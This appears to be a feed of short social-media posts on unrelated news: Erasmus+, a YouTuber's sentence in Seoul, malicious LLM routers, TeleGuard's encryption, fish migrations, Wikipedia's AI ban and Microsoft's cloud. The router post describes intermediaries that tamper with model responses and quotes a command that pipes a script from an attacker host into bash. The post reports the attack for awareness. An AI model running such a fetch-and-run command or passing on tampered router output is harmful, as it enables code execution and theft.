UK, welcome back to Erasmus+ 🇪🇺🇬🇧

The EU and the United Kingdom sealed the deal to bring the UK back into Erasmus+ from 2027.

We are rebuilding opportunities for the next generation to study, work and grow together, giving people the chance to connect across borders once again.

It will also help create and deepen partnerships between our academic institutions.

Together again through learning, exchange and connection 🤝

An American YouTuber who caused outrage by filming himself himself kissing and twerking beside a statue commemorating Korean wartime sex slaves has been sentenced to six months in prison by a court in Seoul.

This dickhead has previous, broadcasting himself taunting people in Hiroshima and Nagasaki because his country committed an atrocity against them.

And zero punishment for YouTube, who platformed it all

The thing about AI replacing analysts that I think is implicit to a lot of people who understand AI, but not at all clear to the people doing layoffs is this: adversaries use AI for automation and as a force multiplier too. Humans are the deciding difference in who wins, beyond equal automation.

Researchers found 8 free and 1 paid (!!!) LLM routers actively injecting malicious code and one attempting to steal ETH 

This architecture creates a trust relationship that has received little scrutiny. The “router-in-the-middle” is not an accidental on-path adversary but an intentionally configured intermediary with application-layer authority over both requests and responses. Unlike a traditional network MITM, no TLS downgrade or certificate forgery is required.

One attacker-controlled endpoint from the LiteLLM supply chain attack replaced legitimate calls from an upstream provider:
curl -sSL https://get.example.com/cli.sh | bash
and instead sent something like this to the client:
curl -sSL https://attacker****.sh | bash

Here is a video demonstrating how truly awful the encryption implementation is in TeleGuard, a 'secure' messaging app with more than 1 million downloads. App uploads users private keys to company server; this shows the company is able to decrypt messages. Details: https://www.404media.co/a-secure-chat-apps-encryption-is-so-bad-it-is-meaningless/
How Axios was pwned. TLDR: capitalism. Anyway scary shit how well coordinated was this attack.

🐟 The world’s big fish migrations are disappearing.

Why it matters: These fish help feed millions, and when their routes are blocked by dams and overfishing, both ecosystems and food supplies take a hit.

The world’s great fish migrations are collapsing – that’s a problem for millions of people

A new report finds 325 migratory fish species in urgent need of help, including some of the world’s most iconic freshwater giants.

Modern Capitalism resembles Feudalism now more than ever.

New: Wikipedia has officially banned AI-generated content. After months of heated debate and previous attempts to restrict the use of LLMs, volunteer editors accepted a new policy that prohibits using them to create articles for the online encyclopedia

“In recent months, more and more administrative reports centered on LLM-related issues, and editors were being overwhelmed.”

I am somewhat insulted by ProPublica saying Federal security experts declared Microsoft cloud to be a “pile of shit”¹… so did the non-Federal ones, and quite vocally too!

Federal Cyber Experts Thought Microsoft’s Cloud Was “a Pile of Shit.” They Approved It Anyway.

A federal program created to protect the government against cyber threats authorized a sprawling Microsoft cloud product, despite the company’s inability to fully explain how it protects sensitive data.
